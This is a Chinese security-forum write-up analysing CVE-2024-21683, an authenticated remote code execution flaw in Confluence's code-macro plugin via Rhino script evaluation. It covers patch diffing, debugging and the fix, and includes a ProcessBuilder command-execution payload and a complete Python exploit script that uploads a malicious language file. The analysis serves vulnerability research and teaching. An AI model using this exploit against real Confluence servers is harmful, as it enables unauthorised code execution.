奇安信攻防社区-CVE-2024-21683——Confluence Data Center and Server认证后RCE漏洞分析

CVE-2024-21683——Confluence Data Center and Server认证后RCE漏洞分析

CVE-2024-21683的漏洞分析，欢迎留言交流。

一、漏洞调试环境搭建
==========

以`8.9.0`和`8.9.1`为例：

> <https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.0.tar.gz>
> 
> <https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.1.tar.gz>

然后使用`idea`来`diff`查看不同：

```shell
"D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0" "D:\vuln_image\confluence\diff\atlassian-confluence-8.9.1"
```

但是由于`jar`包的名字里面有版本号，而由于版本号的不同，会导致查看不同的时候不会展示不同版本的`jar`包之间的差异，因此我们需要对版本号进行处理，可以是把它删掉，也可以是替换成`x.x.x`。我们先把`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins`、`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\lib`和`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins-setup`下的所有`jar`包复制到了`D:\vuln_image\confluence\diff\lib890`，然后`8.9.1`版本也同样这么做，接着根据后者思路写出`python`脚本如下：

```python
import os
import re

folder_path = r'D:\vuln_image\confluence\diff\lib890'
version_regex = r'\d+\.\d+\.\d+'
files = os.listdir(folder_path)
for file_name in files:
    version_match = re.search(version_regex, file_name)
    if version_match:
        new_file_name = re.sub(version_regex, 'x.x.x', file_name)
        old_file_path = os.path.join(folder_path, file_name)
        new_file_path = os.path.join(folder_path, new_file_name)
        os.rename(old_file_path, new_file_path)
        print(f'Renamed {file_name} to {new_file_name}')
```

然后改个文件夹再跑一遍`8.9.1`版本的：

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-e460bd99601add277d83d36cbfd4728656b0eaed.png)

当然，部分`jar`包的版本号是`4`位的，不过比较少，我就懒得改脚本了，万一真遇到了就最后单独分析看看。

再`diff`就可以了：

```shell
"D:\JetBrainsApps\IntelliJ IDEA Ultimate\bin\idea64.exe" diff "D:\vuln_image\confluence\diff\lib890" "D:\vuln_image\confluence\diff\lib891"
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-3dc65f6e5349b606ede469ff5bb6edb6fb40ba70.png)

然后`idea`打开`D:\vuln_image\confluence\atlassian-confluence-8.9.0`，修改`bin`目录下的`setenv.bat`，添加这么一行：

```bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8866 %CATALINA_OPTS%
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-288550ce1fc78e998a8241833bcee5b152d3ea2b.png)

并配置远程调试：

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-2623a61ccf2d0e4913f55f09cdf60eb4672fcee5.png)

然后把上面提到的三个库文件夹右键`Add as Libriary`。

二、漏洞代码分析
========

从上往下翻，发现`D:\vuln_image\confluence\diff\atlassian-confluence-8.9.0\confluence\WEB-INF\atlassian-bundled-plugins\com.atlassian.confluence.ext.newcode-macro-plugin-18.9.8.jar`进行了一处安全修复，因为名字实在是太显眼了，从`initStandardObjects`变成了`initSafeStandardObjects`，多加了个`safe`，极有可能就是本漏洞的问题所在：

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-76f896de2dbdedf032f9b04984afcf221d4ee7ad.png)

定位到源代码`com.atlassian.confluence.ext.code.languages.impl.RhinoLanguageParser`：

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-6af9da36c0b979f4901d5bb08ce0967fb4cad3fc.png)

漏洞对应功能位于`http://192.168.198.1:8090/admin/plugins/newcode/configure.action#`这里的`添加新语言`这个表单：

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-0d2c47df73ec970b4211451caf87ebade7e85fb9.png)

下断点，然后传文件进行调试看看：

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-22bfb57580b2c6449a91a6d165d5c6285b1d4168.png)

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-e342abe2f075064c0be2dc6827f4f63858cfcee9.png)

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-292c6cf4b90efd7183468821fe404d04ebe0d901.png)

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-07d760f85a86f50443e73435e28385d6d400c6a9.png)

`F8`到`evaluateString`函数这里之后`F7`步入进去看看具体的逻辑：

![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-ea909592d8333bd400b46653d7fdc6f429b5e53c.png)

这里我们右键`value`，以字符串形式来显示，然后`view text`：

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-cdfddcfd0b3d048537a1a909169418a141858f9f.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-f7d5bb9f9a07eb95e7bbfdae2f5699484110f38d.png)

可以看到，我们的`text.js`中的`text`被放置在如下位置：

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-163fcea4b991730c1456c5c87b72c5889af9dc13.png)  
我们仔细看看这段代码：

```java
public final Object evaluateString(Scriptable scope, String source, String sourceName, int lineno, Object securityDomain) {
    Script script = this.compileString(source, sourceName, lineno, securityDomain);
    return script != null ? script.exec(this, scope) : null;
}
```

可以参考以下两篇文章：

> [https://blog.51cto.com/u\_16213644/7333014](https://blog.51cto.com/u_16213644/7333014)
> 
> <https://dev.ariel-networks.com/Members/iwanaga/rhino-code-reading03/>

也就是说，会编译传入的脚本源代码，如果编译成功的话就执行该脚本并返回执行结果，如果编译失败，就返回 `null`。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-c8b9db780053a064632fa21c06dde3d858624a79.png)

而这个`evaluateReader`函数的第二个参数包含我们传入的脚本，并且它的代码没有任何安全过滤的操作，因此我们可以自定义一些恶意的代码，例如：

```javascript
new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()
```

具体还可以参考下面的文章学习：

> <https://blog.h3xstream.com/2014/11/remote-code-execution-by-design.html>
> 
> <https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html>
> 
> <https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection/el-expression-language>

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-31cdeae5bfbbd119c961bf0225d2217cbcc298af.png)

那官方是怎么修复的呢？使用`initSafeStandardObjects`定义`rhino`的上下文，防止`JavaScript`引擎调用`Java`代码：

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-3eac8a311407082591dd6a96fd1aa65fa7f2f6d2.png)  
这部分知识其实也可以参考：

> <https://help.aliyun.com/zh/security-center/user-guide/learn-about-application-protection>

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-fa3132a25cfb2259d078421b4886bec8019311b5.png)

三、自动化脚本编写
=========

<https://github.com/W01fh4cker/CVE-2024-21683-RCE>

```python
import argparse
import os

import requests
from bs4 import BeautifulSoup

def GeyAltToken(url, proxy, session):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    }
    alttoken_url = f"{url}/admin/plugins/newcode/configure.action"
    resp = session.get(url=alttoken_url, headers=headers, verify=False, proxies=proxy, timeout=20)
    if "atlassian-token" in resp.text:
        soup = BeautifulSoup(resp.text, 'html.parser')
        meta_tag = soup.find('meta', {'id': 'atlassian-token', 'name': 'atlassian-token'})
        if meta_tag:
            content_value = meta_tag.get('content')
            return content_value

else:
            print("Meta tag not found")

def LoginAsAdministrator(session, url, proxy, username, password):
    login_url = url + "/dologin.action"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"os_username={username}&amp;os_password={password}&amp;login=%E7%99%BB%E5%BD%95&amp;os_destination=%2F"
    session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)

def DoAuthenticate(session, url, proxy, password, alt_token):
    login_url = url + "/doauthenticate.action"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"atl_token={alt_token}&amp;password={password}&amp;authenticate=%E7%A1%AE%E8%AE%A4&amp;destination=/admin/viewgeneralconfig.action"
    session.post(url=login_url, headers=headers, data=data, proxies=proxy, verify=False, timeout=20)
def UploadEvilJsFile(session, url, proxy, jsFilename, jsFileContent, alt_token):
    url = f"{url}/admin/plugins/newcode/addlanguage.action"
    data = {
        "atl_token": alt_token,
        "newLanguageName": "test"
    }
    files = {
        "languageFile": (
        jsFilename, jsFileContent, "text/javascript")
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    }
    session.post(url, headers=headers, data=data, files=files, verify=False, proxies=proxy, timeout=20)

def ParseArgs():
    parser = argparse.ArgumentParser(description="CVE-2023-20198-RCE")
    parser.add_argument("-u", "--url", type=str, help="target url to check, eg: http://192.168.198.1:8090", required=True)
    parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False)
    parser.add_argument("-au", "--admin-username", type=str, help="The username of the user who is in the Administrators group", required=True)
    parser.add_argument("-ap", "--admin-password", type=str, help="The password of the user who is in the Administrators group", required=True)
    parser.add_argument("-f", "--file", type=str, help="exploit file", default="exploit.js", required=True)
    parser.add_argument("-n", "--name", type=str, help="newLanguageName", default="test", required=True)
    return parser.parse_args()

if __name__ == '__main__':
    args = ParseArgs()
    if not args.proxy:
        proxy = {}
    else:
        proxy = {
            "http": args.proxy,
            "https": args.proxy
        }
    session = requests.session()
    jsfn = os.path.basename(args.file)
    jsfc = open(args.file, "r", encoding="utf-8").read()
    LoginAsAdministrator(session, args.url.strip("/"), proxy, args.admin_username, args.admin_password)
    alt_token = GeyAltToken(args.url.strip("/"), proxy, session)
    DoAuthenticate(session, args.url.strip("/"), proxy, args.admin_username, alt_token)
    UploadEvilJsFile(session, args.url.strip("/"), proxy, jsfn, jsfc, alt_token)
```

效果：

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-36885eb796a13d538ec27b3cfb9610c2be779f9b.png)

四、后记
====

这个漏洞官方说需要验证，但是这个功能点是管理员组用户才具有的，因此普通用户账户应当是无法利用的，并且我也没找到其他地方存在配置代码宏这个功能对应的函数，不排除我落了某些地方；可能会有人有疑问，我都有管理员组账户的账号密码了，我还这么费劲地`RCE`干嘛，不能直接传插件`RCE`吗？但是至少我测试的`8.9.0`版本已经去除了这个功能，其他版本我具体也没去查：

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2024/05/attach-3a8071cf0b5cace973dc791ca7c223b22f191221.png)

发表于 2024-05-24 14:07:16
阅读 ( 24236 )
分类：漏洞分析

CVE-2024-21683——Confluence Data Center and Server认证后RCE漏洞分析

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